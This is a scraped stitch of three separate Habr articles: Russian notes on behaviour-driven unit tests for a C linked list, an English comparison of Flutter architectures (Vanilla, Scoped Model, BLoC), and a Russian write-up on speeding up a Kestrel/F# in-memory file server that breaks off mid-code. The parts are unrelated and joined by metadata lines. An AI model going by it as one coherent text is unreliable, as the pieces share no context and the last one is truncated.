TEST_ASSERT_NULL( list_head->next ); /* Check that the next pointer has appropriate value */
}
```
Думаю дальнейшее расширение покрытия кода новыми тестами читателю очевидно. Результат достигнут — модуль протестирован unit-тестами, покрытие 100%. Можно спать спокойно.
А что тут не так?
-----------------
Конечно, описанная выше история может иметь и другое развитие событий. Я всего лишь пытаюсь сказать, что unit-тесты бывают разными.
В данном случае, тестам присущи следующие недостатки:
* Тесты тестируют код (как бы странно это не звучало)
* Тесты вынуждают разработчика делать «костыли»
* Тесты требуют титанических усилий по их поддержке даже в случае рефакторинга, не говоря уже о значительных изменениях
* «Проваленные» тесты совсем не означают, что какая-то функциональность не работает
А если писать сначала тесты, а потом код. Это поможет?
------------------------------------------------------
К сожалению нет. Или далеко не всегда.
Я не являюсь ярым приверженцем основного принципа TDD, заставляющего сначала написать тест для несуществующего кода, а потом уже писать код, для того, что бы этот тест проходил. Иногда, я пишу небольшой участок кода прежде чем тесты к нему.
Главное в другом. Очень важно, на мой взгляд, рассматривать каждый модуль, как независимую систему:
* Пытаться формулировать требования к этой системе, которым она должна отвечать
* Именно соответствие этим требованиям пытаться проверить unit-тестами
* Стараться не вникать в особенности реализации данной системы и использовать только её внешний API для тестирования
Кто-то, наверное, заметит «так это же BDD». И скорее всего будет прав. Но, не важно, что первично в Вашей разработке: тесты, или поведение, или же сам код, которого уже очень и очень много написано. Важно, **как** Вы пишите unit-тесты.
Например, первый тест, для, реализованного выше, списка может быть таковым:
```
/*
* Given the list is empty
* When I push 1 to the list
* Then the pop function shall return 1
*/
void test_simple( void )
{
list_push( 1 );
TEST_ASSERT_EQUAL_INT( 1, list_pop() );
}
```
Второй тест:
```
/*
* Given the list is empty
* When I push 1 to the list
* And I push 2 to the list
* Then the first call of the pop function shall return 1
* And the second call of the pop function shall return 2
*/
void test_order( void )
{
list_push( 1 );
list_push( 2 );
TEST_ASSERT_EQUAL_INT( 1, list_pop() );
TEST_ASSERT_EQUAL_INT( 2, list_pop() );
}
```
Первым тестом мы проверили, что API модуля в принципе работоспособны. Так же мы убедились, что то, что мы сохраняем в списке, в последствии может быть извлечено.
Вторым тестом, мы проверили, что элементы извлекаются из списка в том порядке, в котором они были туда помещены.
И именно такая функциональность нас интересовала изначально при проектировании всего комплекса ПО, но уж никак не способ, которым она была реализована.
Приимущества
------------
При таком подходе устраняются описанные выше недостатки тестов:
> Тесты тестируют код
Тесты тестируют поведение модуля ничего не зная о его реализации (black-box)
> Тесты вынуждают разработчика делать «костыли»
при тестировании через API необходимость в этом возникает крайне редко
> Тесты требуют титанических усилий по их поддержке даже в случае рефакторинга, не говоря уже о значительных изменениях
в нашем примере реализация может быть изменена полностью (массив вместо связного списка, двунаправленны список вместо однонаправленно и т.д.), что никак не должно отразится на его поведении
> «Проваленные» тесты совсем не означают, что какая-то функциональность не работает
поскольку рефакторинг кода (если он успешен) никак не влияет на результаты тестов, остается только одна причина «провалов» тестов — что-то действительно не работает
Дополнительные плюшки
---------------------
Кроме указанных выше преимуществ unit-тесты обладают еще одним, на мой взгляд, очень важным достоинством — они улучшают качество кода.
Хотим мы этого или нет, но тестируемый код (тот который можно физически протестировать) является более гибким, более переносимым, более масштабируемым. Может еще какм-то (боюсь перехвалить).
К сожалению, реализованный выше список, до сих пор так и не был протестирован, на предмет утечек памяти. Но этот момент был далеко не последним в списке опасений, который заставил команду вообще вспомнить о юнит тестах на связанный список.
Для того, что бы проверить факт отсутствия утечек, мы должны контролировать выделение/освобождение памяти. А сделать mock-и на функции стандартной библиотеки не самая простая задача.
Выход есть — добавить слой абстракции между модулем и стандартной библиотекой с таким интерфейсом:
**файл my\_list\_mem.h**
```
#ifndef MY_LIST_MEM
#define MY_LIST_MEM
void * list_alloc_item( int size );
void list_free_item( void * item );
#endif
```
Тогда, реализация списка примет вид:
**файл my\_list.с**
```
#include "my_list.h"
#include "my_list_mem.h"
typedef struct node
{
int val;
struct node * next;
} node_t;
static node_t * list_head;
void list_push( int val )
{
node_t * current = list_head;
if(list_head == NULL)
{
// list_head = malloc(sizeof(node_t));
list_head = (node_t*)list_alloc_item( sizeof(node_t) );
list_head->val = val;
list_head->next = NULL;
}
else
{
while (current->next != NULL)
{
current = current->next;
}
// current->next = malloc(sizeof(node_t));
current->next = (node_t*)list_alloc_item( sizeof(node_t) );
current->next->val = val;
current->next->next = NULL;
}
}
int list_pop( void )
{
int retval = -1;
node_t * next_node = NULL;
if (list_head == NULL)
{
return -1;
}
next_node = list_head->next;
retval = list_head->val;
// free(list_head);
list_free_item( list_head );
list_head = next_node;
return retval;
}
```
Уже реализованные тесты никак не изменятся, за исключением добавления mock-ов:
**файл test\_my\_list.с**
```
#include "unity.h"
#include "my_list.h"
#include "mock_my_list_mem.h"
#include
static void \* list\_alloc\_item\_mock( int size, int numCalls )
{
return malloc( size );
}
static void list\_free\_item\_mock( void \* item, int numCalls )
{
free( item );
}
void setUp(void)
{
list\_alloc\_item\_StubWithCallback( list\_alloc\_item\_mock );
list\_free\_item\_StubWithCallback( list\_free\_item\_mock );
}
void tearDown(void)
{
}
/\*
\* Given the list is empty
\* When I push 1 to the list
\* Then the pop function shall reutrn 1
\*/
void test\_nominal( void )
{
list\_push( 1 );
TEST\_ASSERT\_EQUAL\_INT( 1, list\_pop() );
}
/\*
\* Given the list is empty
\* When I push 1 to the list
\* And I push 2 to the list
\* Then the first call of the pop function shall return 1
\* And the second call of the pop function shall return 2
\*/
void test\_order( void )
{
list\_push( 1 );
list\_push( 2 );
TEST\_ASSERT\_EQUAL\_INT( 1, list\_pop() );
TEST\_ASSERT\_EQUAL\_INT( 2, list\_pop() );
}
```
И наконец, новые тесты на упраление памятью:
**файл test\_my\_list\_mem\_leak.c**
```
#include "unity.h"
#include "my_list.h"
#include "mock_my_list_mem.h"
#include
static int mallocCounter;
static int freeCounter;
static void \* list\_alloc\_item\_mock( int size, int numCalls )
{
mallocCounter++;
return malloc( size );
}
static void list\_free\_item\_mock( void \* item, int numCalls )
{
freeCounter++;
free( item );
}
void setUp(void)
{
list\_alloc\_item\_StubWithCallback( list\_alloc\_item\_mock );
list\_free\_item\_StubWithCallback( list\_free\_item\_mock );
mallocCounter = 0;
freeCounter = 0;
}
void tearDown(void)
{
}
/\*
\* Given the list is empty
\* When I push an item to the list
\* Then one part of mеmory shall be allocated
\* And no part of memory shall be released
\*/
void test\_push( void )
{
list\_push( 1 );
TEST\_ASSERT\_EQUAL\_INT( 1, mallocCounter );
TEST\_ASSERT\_EQUAL\_INT( 0, freeCounter );
}
/\*
\* Given the list is empty
\* When get the item from the list pushed before
\* Then one part of mеmory shall be released
\* And no part of memory shall be allocated
\*/
void test\_pop( void )
{
list\_pop();
TEST\_ASSERT\_EQUAL\_INT( 0, mallocCounter );
TEST\_ASSERT\_EQUAL\_INT( 1, freeCounter );
}
```
В результате, с одной стороны, мы проверили корректность работы с памятью, с другой — реализовали дополнительный слой, содержащий обертки для функций malloc() и free(). И если в дальнейшем механизм выделения памяти будет изменен (стаический массив элементов фиксированного размера, memory\_pool-ы какой-нибудь RTOS) — наш код готов к этим изменениям, а сам список и тесты на его функциональность никак не будут затронуты.
Conclusions
-----------
Да,… выводов, всего два
1. unit-тесты это хорошо, главное правильно их писать.
2. а для того, что бы это было возможно, следует думать о тестировании при разработке кода.
P.S.
----
Все совпадения с реально существующими людьми случайны.
В качестве основы для реализации спсика использован материал [www.learn-c.org](http://www.learn-c.org/en/Linked_lists)
Все тесты написаны с использованием средств [Unity/CMock/Ceedling](http://throwtheswitch.org) | https://habr.com/ru/post/250053/ | null | ru | null |
# Flutter app architecture 101: Vanilla, Scoped Model, BLoC
(originally published on [Medium](https://link.medium.com/vxGf7jKtXT))
Flutter provides a modern react-style framework, rich widget collection and tooling, but there’s nothing similar to Android’s [guide to app architecture](https://medium.com/@savjolovs/flutter-app-architecture-101-vanilla-scoped-model-bloc-7eff7b2baf7e).
Indeed, there’s no ultimate architecture that would meet all the possible requirements, yet let’s face the fact that most of the mobile apps we are working on have at least some of the following functionality:
1. Request/upload data from/to the network.
2. Map, transform, prepare data and present it to the user.
3. Put/get data to/from the database.
Taking this into account I have created a sample app that is solving exactly the same problem using three different approaches to the architecture.
User is presented with a button “Load user data” in the center of the screen. When user clicks the button asynchronous data loading is triggered and the button is replaced with a loading indicator. After data is loaded loading indicator is replaced with the data.
Let’s get started.
Data
----
For the purpose of simplicity I have created `Repository` class that contains `getUser()` method that emulates an asynchronous network call and returns `Future` object with hardcoded values.
If you are not familiar with Futures and asynchronous programming in Dart you can learn more about it by following [this tutorial](https://www.dartlang.org/tutorials/language/futures) and reading a [doc](https://api.dartlang.org/stable/2.1.0/dart-async/Future-class.html).
```
class Repository {
Future getUser() async {
await Future.delayed(Duration(seconds: 2));
return User(name: 'John', surname: 'Smith');
}
}
```
```
class User {
User({
@required this.name,
@required this.surname,
});
final String name;
final String surname;
}
```
Vanilla
-------
Let’s build the app in the way most developers would do after reading official Flutter documentation.
Navigating to `VanillaScreen` screen using `Navigator`
```
Navigator.push(
context,
MaterialPageRoute(
builder: (context) => VanillaScreen(_repository),
),
);
```
As the state of the widget could change several times during the lifetime of the widget we should extend `StatefulWidget`. Implementing a stateful widget also requires to have a `State` class. Fields `bool _isLoading` and `User _user` in `_VanillaScreenState` class represent the state of the widget. Both fields are initialised before the `build(BuildContext context)` method is called.
```
class VanillaScreen extends StatefulWidget {
VanillaScreen(this._repository);
final Repository _repository;
@override
State createState() => \_VanillaScreenState();
}
class \_VanillaScreenState extends State {
bool \_isLoading = false;
User \_user;
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: const Text('Vanilla'),
),
body: SafeArea(
child: \_isLoading ? \_buildLoading() : \_buildBody(),
),
);
}
Widget \_buildBody() {
if (\_user != null) {
return \_buildContent();
} else {
return \_buildInit();
}
}
Widget \_buildInit() {
return Center(
child: RaisedButton(
child: const Text('Load user data'),
onPressed: () {
setState(() {
\_isLoading = true;
});
widget.\_repository.getUser().then((user) {
setState(() {
\_user = user;
\_isLoading = false;
});
});
},
),
);
}
Widget \_buildContent() {
return Center(
child: Text('Hello ${\_user.name} ${\_user.surname}'),
);
}
Widget \_buildLoading() {
return const Center(
child: CircularProgressIndicator(),
);
}
}
```
When the widget state object is created `build(BuildContext context)` method is called to build the UI. All the decisions about the widgets that should be built to represent the current state are made in the UI declaration code.
```
body: SafeArea(
child: _isLoading ? _buildLoading() : _buildBody(),
)
```
In order do display progress indicator when user click “Load user details” button we do following.
```
setState(() {
_isLoading = true;
});
```
> Calling setState() notifies the framework that the internal state of this object has changed in a way that might impact the user interface in this subtree, which causes the framework to schedule a build for this State object.
That means that after calling `setState()` method `build(BuildContext context)` method is called by the framework again and **the whole widget tree is rebuilt**. As `_isLoading` is now set to `true` method `_buildLoading()` is called instead of `_buildBody()` and loading indicator is displayed on the screen. Exactly the same happens when we handle callback from `getUser()` and call `setState()` to reassign `_isLoading` and `_user` fields.
```
widget._repository.getUser().then((user) {
setState(() {
_user = user;
_isLoading = false;
});
});
```
### Pros
1. Easy to learn and understand.
2. No third-party libraries are required.
### Cons
1. The whole widget tree is rebuilt every time widget state changes.
2. It’s breaking the single responsibility principle. Widget is not only responsible for building the UI, it’s also responsible for data loading, business logic and state management.
3. Decisions about how the current state should be represented are made in the UI declaration code. If we would have a bit more complex state code readability would decrease.
Scoped Model
------------
Scoped Model is a [third-party package](https://pub.dartlang.org/packages/scoped_model) that is not included into Flutter framework. This is how the developers of Scoped Model describe it:
> A set of utilities that allow you to easily pass a data Model from a parent Widget down to its descendants. In addition, it also rebuilds all of the children that use the model when the model is updated. This library was originally extracted from the Fuchsia codebase.
Let’s build the same screen using Scoped Model. First, we need to install Scoped Model package by adding `scoped_model` dependency to `pubspec.yaml` under `dependencies` section.
```
scoped_model: ^1.0.1
```
Let’s take a look at `UserModelScreen` widget and compare it with the previous example that was built without using Scoped Model. Let’s take a look at UserModelScreen widget and compare it with the previous example that was built without using Scoped Model. As we want to make our model available to all the widget’s descendants we should wrap it with generic ScopedModel and provide a widget and a model.
```
class UserModelScreen extends StatefulWidget {
UserModelScreen(this._repository);
final Repository _repository;
@override
State createState() => \_UserModelScreenState();
}
class \_UserModelScreenState extends State {
UserModel \_userModel;
@override
void initState() {
\_userModel = UserModel(widget.\_repository);
super.initState();
}
@override
Widget build(BuildContext context) {
return ScopedModel(
model: \_userModel,
child: Scaffold(
appBar: AppBar(
title: const Text('Scoped model'),
),
body: SafeArea(
child: ScopedModelDescendant(
builder: (context, child, model) {
if (model.isLoading) {
return \_buildLoading();
} else {
if (model.user != null) {
return \_buildContent(model);
} else {
return \_buildInit(model);
}
}
},
),
),
),
);
}
Widget \_buildInit(UserModel userModel) {
return Center(
child: RaisedButton(
child: const Text('Load user data'),
onPressed: () {
userModel.loadUserData();
},
),
);
}
Widget \_buildContent(UserModel userModel) {
return Center(
child: Text('Hello ${userModel.user.name} ${userModel.user.surname}'),
);
}
Widget \_buildLoading() {
return const Center(
child: CircularProgressIndicator(),
);
}
}
```
In the previous example the whole widget tree was rebuilt when widget’s state changed. But do we actually require to rebuild the whole screen? For example AppBar shouldn’t change at all so there’s no point in rebuilding it. Ideally, we should rebuild only those widgets that are updated. Scoped Model can help us to solve that.
`ScopedModelDescendant` widget is used to find `UserModel` in the Widget tree. It will be automatically rebuilt whenever the `UserModel` notifies that change has taken place.
Another improvement is that `UserModelScreen` is not anymore responsible for the state management and business logic.
Let’s take a look at `UserModel` code.
```
class UserModel extends Model {
UserModel(this._repository);
final Repository _repository;
bool _isLoading = false;
User _user;
User get user => _user;
bool get isLoading => _isLoading;
void loadUserData() {
_isLoading = true;
notifyListeners();
_repository.getUser().then((user) {
_user = user;
_isLoading = false;
notifyListeners();
});
}
static UserModel of(BuildContext context) =>
ScopedModel.of(context);
}
```
Now `UserModel` holds and manages the state. In order to notify listeners (and rebuild descendants) that the change took place `notifyListeners()` method should be called.
### Pros
1. Business logic, state management and UI code separation.
2. Easy to learn.
### Cons
3. Requires third-party library.
4. As model gets more and more complex it’s hard to keep track when you should call `notifyListeners()`.
BLoC
----
BLoC (**B**usiness **Lo**gic **C**omponents) is a pattern recommended by Google developers. It leverages streams functionality in order to manage and propagate state changes.
**For Android developers:** You can think of `Bloc` object as a `ViewModel` and of `StreamController` as a `LiveData`. This will make the following code very straightforward as you’re already familiar with the concepts.
```
class UserBloc {
UserBloc(this._repository);
final Repository _repository;
final _userStreamController = StreamController();
Stream get user => \_userStreamController.stream;
void loadUserData() {
\_userStreamController.sink.add(UserState.\_userLoading());
\_repository.getUser().then((user) {
\_userStreamController.sink.add(UserState.\_userData(user));
});
}
void dispose() {
\_userStreamController.close();
}
}
class UserState {
UserState();
factory UserState.\_userData(User user) = UserDataState;
factory UserState.\_userLoading() = UserLoadingState;
}
class UserInitState extends UserState {}
class UserLoadingState extends UserState {}
class UserDataState extends UserState {
UserDataState(this.user);
final User user;
}
```
No additional method calls are required to notify subscribers when the state changes.
I have created 3 classes to represent possible states of the screen:
`UserInitState` for the state, when user opens a screen with a button in the center.
`UserLoadingState` for the state, when loading indicator is displayed while data is being loaded.
`UserDataState` for the state, when data is loaded and displayed on the screen.
Propagating state changes in this way allows us to get rid of all the logic in the UI declaration code. In example with Scoped Model we still were checking if `_isLoading` is `true` in the UI declaration code to decide which widget we should render. In case with BLoC we are propagating the state of the screen and the only responsibility of `UserBlocScreen` widget is to render the UI for this state.
```
class UserBlocScreen extends StatefulWidget {
UserBlocScreen(this._repository);
final Repository _repository;
@override
State createState() => \_UserBlocScreenState();
}
class \_UserBlocScreenState extends State {
UserBloc \_userBloc;
@override
void initState() {
\_userBloc = UserBloc(widget.\_repository);
super.initState();
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: const Text('Bloc'),
),
body: SafeArea(
child: StreamBuilder(
stream: \_userBloc.user,
initialData: UserInitState(),
builder: (context, snapshot) {
if (snapshot.data is UserInitState) {
return \_buildInit();
}
if (snapshot.data is UserDataState) {
UserDataState state = snapshot.data;
return \_buildContent(state.user);
}
if (snapshot.data is UserLoadingState) {
return \_buildLoading();
}
},
),
),
);
}
Widget \_buildInit() {
return Center(
child: RaisedButton(
child: const Text('Load user data'),
onPressed: () {
\_userBloc.loadUserData();
},
),
);
}
Widget \_buildContent(User user) {
return Center(
child: Text('Hello ${user.name} ${user.surname}'),
);
}
Widget \_buildLoading() {
return const Center(
child: CircularProgressIndicator(),
);
}
@override
void dispose() {
\_userBloc.dispose();
super.dispose();
}
}
```
`UserBlocScreen` code got even simpler in comparison to the previous examples. To listen to the state changes changes we are using [StreamBuilder](https://docs.flutter.io/flutter/widgets/StreamBuilder-class.html). `StreamBuilder` is a `StatefulWidget` that builds itself based on the latest snapshot of interaction with a [Stream](https://docs.flutter.io/flutter/dart-async/Stream-class.html).
### Pros
No third-party libraries needed.
Business logic, state management and UI logic separation.
It’s reactive. No additional calls are needed like in case with Scoped Model’s `notifyListeners()`.
### Cons
Experience working with streams or rxdart is required.
Links
-----
You can checkout the source code of the examples above form [this github repo.](https://github.com/savjolovs/flutter_arch_examples)
Originally article is published on [Medium](https://link.medium.com/vxGf7jKtXT) | https://habr.com/ru/post/438524/ | null | en | null |
# Как я сделал самый быстрый в мире файловый сервер
[](https://habr.com/ru/company/ruvds/blog/695808/)
Задача — среди множества файлов найти на диске конкретный и отдать его по HTTP с заголовками «content-encoding», «mime-type» и «content-lenght». И сделать это как можно быстрее — на локальном хосте, чтобы не уткнуться в физические барьеры. Нас интересует скорость ради скорости.
В качестве веб-сервера будем использоваться Kestrel, .NET 7 RC 1, minimal API и F#. Финальная, оптимизированная версия есть и для C#.
Старт
-----
```
let p =
(Directory.GetCurrentDirectory(), "wwwroot")
|> Path.Combine
WebApplicationOptions(WebRootPath = p)
|> WebApplication.CreateBuilder
|> function
| prod when prod.Environment.IsProduction() ->
prod.WebHost.UseKestrel(fun i ->
i.ListenAnyIP(5001)
i.AddServerHeader <- false)
|> ignore
prod.Logging.ClearProviders() |> ignore
prod
| dev ->
dev.Logging.AddConsole().AddDebug() |> ignore
dev
|> fun b -> b.Build()
|> fun w ->
w.UseFileServer() |> ignore
w.Run()
```
Самый простой способ запустить файловый сервер на дотнете — это использовать встроенный в kestrel файловый сервер. Код вы видите выше.
Для снятия дополнительных данных — используется BenchmarkDotnet с аппаратными счётчиками.
Чтобы исключить неточности связанные с фрагментацией памяти, все бенчи делались сразу после перезагрузки компьютера. Заодно я сразу отрубил заголовок сервера, чтобы не мешал замерам.
Для сбора данных по пропускной способности в кандидатах были Autocanon, K6 и Bombardier. Bombardier оказался самым быстрым, поэтому в дальнейшем, данные о пропускной способности буду получить им.
```
| | K6 | Autocannon | Bombardier |
|----------|------|:-----------|------------|
| Avg. RPS | 4704 | 4596 | 6415.2 |
```
Для тестирования применялись файлы размером 0 байт, 3,5КБ, 22КБ, 31КБ, 130 и 417КБ в 1, 8 и 125 потоков.
Таблицу с результатами. Публиковать нет смысла, я лишь выделю интересные детали.
Вот [ссылка на репозиторий](https://github.com/nneeoo/Try-Speedup-I), код к каждому бенчмарку выделен в отдельный проект под своим именем.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
```
Загружаем контент в оперативную память
--------------------------------------
```
type File =
{ Bytes: byte array
ContentEncoding: StringValues
Mime: string }
let p =
(Directory.GetCurrentDirectory(), "wwwroot")
|> Path.Combine
let extractMime x = "image/webp"
let extractFileName (x: string) = x.LastIndexOf "\\" + 1 |> x.Substring
let dict = Dictionary()
p
|> Directory.GetFiles
|> Seq.iter (fun i ->
(extractFileName i,
{ Bytes = File.ReadAllBytes i
ContentEncoding = StringValues "none"
Mime = extractMime i })
|> dict.Add)
```
Dictionary — самая быстрая коллекция в дотнете, поэтому её буду использовать для нахождения файлов. Загружаться байты будут во время старта приложения.
Простоты ради, Content-Type пусть будет — «image/webp», а Content-Encoding — “none”.
Закатываем всё это в рекорд и добавляем в Dictionary.
```
type FileResult(mime, encoding, stream: byte array) =
interface IResult with
member this.ExecuteAsync(ctx: HttpContext) =
ctx.Response.ContentType <- mime
ctx.Response.Headers.ContentEncoding <- encoding
ctx.Response.ContentLength <- stream.LongLength
ctx.Response.Body.WriteAsync(stream, 0, stream.Length)
let FileResult x = FileResult x :> IResult
type IResultExtensions with
member this.FileResult = FileResult
let file (i: string) =
match dict.TryGetValue i with
| false, _ -> Results.NotFound()
| true, x -> Results.Extensions.FileResult(x.Mime, x.ContentEncoding, x.Bytes)
// ......
|> fun b -> b.Build()
|> fun w ->
w.MapGet("/{i}", Func(fun i -> Files.file i))
|> ignore
w.Run()
```
Я сделал всё по гайду, заимплементил IResult, заэкстендил интерфейс, всё, как написано [тут](https://learn.microsoft.com/ru-ru/aspnet/core/fundamentals/minimal-apis?view=aspnetcore-6.0#customizing-results).
Максимальный RPS на файле размером в 0 байт вырос до 26852,44, файл размером 31КБ в один поток скачивается 5858.85 раз с общей скоростью 573,77МБ/с, и 13869.81 раз со скоростью 5,2ГБ/с в 125 потоков.
Это 4,6 гигабит в один поток и 41 гигабит соответственно.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
```
Таблицы
-------
Можно разбить коллекцию объектов на таблицы, где поля этих объектов буду помещены в разные массивы. Тогда в Dictionary мы просто получаем индекс, а значения полей разобранного объекта — берём из разных колонок.
Переход по индексу почти такой же быстрый, как и по референсу, но теперь компьютеру не нужно скакать от одной ссылки к другой. Таким образом, можно сэкономить один переход по ссылкам за одну операцию.
Фундаментально, мало что изменилось, мы всё ещё обращаемся в разные места в памяти, просто адреса берём их из тела функции.
```
let mimes = files |> Array.map extractMime
let encodings =
Array.init p.Length (fun _ -> StringValues "none")
let bytes =
files |> Array.map File.ReadAllBytes
// ......
let file (i: string) =
match dict.TryGetValue i with
| false, _ -> Results.NotFound()
| true, idx -> Results.Extensions.FileResult(mimes.[idx], encodings.[idx], bytes.[idx])
```
RPS увеличился на 100 и 150 для 1 и 125 потоков соответственно.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
```
Не все методы одинаковы
-----------------------
### ▍ 1. Убираем расширение интерфейса
```
let FileResult x = FileResult x :> IResult
//type IResultExtensions with
// member this.FileResult = FileResult
let file (i: string) =
match dict.TryGetValue i with
| false, _ -> Results.NotFound()
//| true, idx -> Results.Extensions.FileResult(mimes.[idx], encodings.[idx], bytes.[idx])
| true, idx -> FileResult(mimes.[idx], encodings.[idx], bytes.[idx])
```
Виртуальные вызовы, вызовы интерфейсов, и абстрактных классов дорогие, вы, наверное, слышали это. Ситуация с девиртуализацией никак не изменилась и посей день. Если убрать обращение через расширение интерфейса, то можно сэкономить пару тактов.
Максимальный RPS вырос до ещё на 271.2, до 27131.54. Пропускная способность в один поток не изменилась, зато раздача в 125 потоков ускорилась на 30МБ/с.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
```
### ▍ 2. Task вместо IResult
```
let file (i: string) (ctx: HttpContext) =
match dict.TryGetValue i with
| false, _ ->
ctx.Response.StatusCode <- 404
Task.CompletedTask
| true, idx ->
ctx.Response.ContentType <- mimes.[idx]
ctx.Response.Headers.ContentEncoding <- encodings.[idx]
let b = bytes.[idx]
ctx.Response.ContentLength <- b.LongLength
ctx.Response.Body.WriteAsync(b, 0, b.Length)
```
Если делать через IResult, то каждый вызов аллоцирует новый объект этого IResult. Если заменить этот метод на Task, то можно выиграть пару тактов.
Так мы ускоряемся ещё на 410.53 RPS, до 27542.07. Раздача в один поток ускорилась на 10МБ/с, а раздача в 125 потоков, на 16МБ/с.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
| Tables_Task | 51.40 us | 0.757 us | 0.708 us | 114 | 190 | 16,730 |
```
### ▍ 3. Только Httpcontext
```
//let extractFileName (x: string) = x.LastIndexOf "\\" + 1 |> x.Substring
let extractFileName (x: string) =
"/" + (x.LastIndexOf "\\" + 1 |> x.Substring)
// ......
//let file (i: string) (ctx: HttpContext) =
let file (ctx: HttpContext) =
//match dict.TryGetValue i with
match dict.TryGetValue ctx.Request.Path.Value with
| false, _ ->
ctx.Response.StatusCode <- 404
Task.CompletedTask
| true, idx ->
ctx.Response.ContentType <- mimes.[idx]
ctx.Response.Headers.ContentEncoding <- encodings.[idx]
let b = bytes.[idx]
ctx.Response.ContentLength <- b.LongLength
ctx.Response.Body.WriteAsync(b, 0, b.Length)
```
Функция возвращающая таск, хоть и быстрее IResult, она аллоцирует String на каждый новый вызов. Мы можем брать путь из HttpContext’а, и работать с ним напрямую.
И bombardier не показывает никакого измеримого результата.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
| Tables_Task | 51.40 us | 0.757 us | 0.708 us | 114 | 190 | 16,730 |
| Tables_TaskNoAlloc | 50.95 us | 0.614 us | 0.575 us | 105 | 184 | 16,423 |
```
### ▍ 4. Своя мидлварь
Стандартный роутинг, осуществляется сопоставлением двух строк, пути из URL и HTTP метода. Такое количество проверок для файлового сервера, объективно избыточно.
Можно написать свою мидлварь, которая будет перехватывать и обрабатывать подходящие запросы. Это быстрее, но мы больше не отличаем PUT, DELETE и POST, всё будет обрабатываться как GET, про CORS можно забыть.
Для создания своей мидлвари нам на выбор предлагаю два оверлоада, «Func» и «Func»
Недостаток первого в том, что он каждый вызов аллоцирует новый Func, поэтому я выбираю оверлоад с RequestDelegate.
Вот так выглядит готовая мидлварь:
```
let file (ctx: HttpContext) ( next: RequestDelegate) =
match dict.TryGetValue ctx.Request.Path.Value with
| false, _ -> next.Invoke ctx
| true, idx ->
ctx.Response.ContentType <- mimes.[idx]
ctx.Response.Headers.ContentEncoding <- encodings.[idx]
let b = bytes.[idx]
ctx.Response.ContentLength <- b.LongLength
ctx.Response.Body.WriteAsync(b, 0, b.Length)
```
Вот так выглядит её регистрация:
```
|> fun b -> b.Build()
|> fun w ->
w.Use Files.file |> ignore
w.UseRouting() |> ignore
w.Run()
```
Опустив лишние проверки, RPS увеличился на 985.48, до 28527.55. Раздача файлов в 1 поток ускорилась ещё на 6МБ/с, а в 125 потоков, на 21МБ/с.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
| Tables_Task | 51.40 us | 0.757 us | 0.708 us | 114 | 190 | 16,730 |
| Tables_TaskNoAlloc | 50.95 us | 0.614 us | 0.575 us | 105 | 184 | 16,423 |
| Tables_Middleware | 48.95 us | 0.977 us | 1.045 us | 109 | 181 | 16,031 |
```
Знакомьтесь — Unsafe
--------------------
### ▍ Unsafe.As
Эта штука позволяет нам переинтерпретировать одни данные как другие. Например, можно прочитать string как byte[], не без ограничений.
Если взять строку и попытаться её перечислить как массив, то мы сможем перечислить его по индексам, через for или foreach, но если запустить enumerator, то приложение упадёт с (Fatal error. Internal CLR error. (0x80131506).
Тут нужно знать, какие методы каких данных совместимы друг с другом. Энуметарторы `string` и `'T[]` несовместимы.
Тоже самое касается структур. Мы не можем представить int64 как byte[], однако каждый байт в этом int64 можно прочитать отдельно, если переинтерпретировать int64 как другую структуру.
Перед использованием убедитесь, что обе структуры одинакового размера и разложены так, как надо.
### ▍ Unsafe.Add
```
[]
let MutateString () =
let mutable s = "abcde"
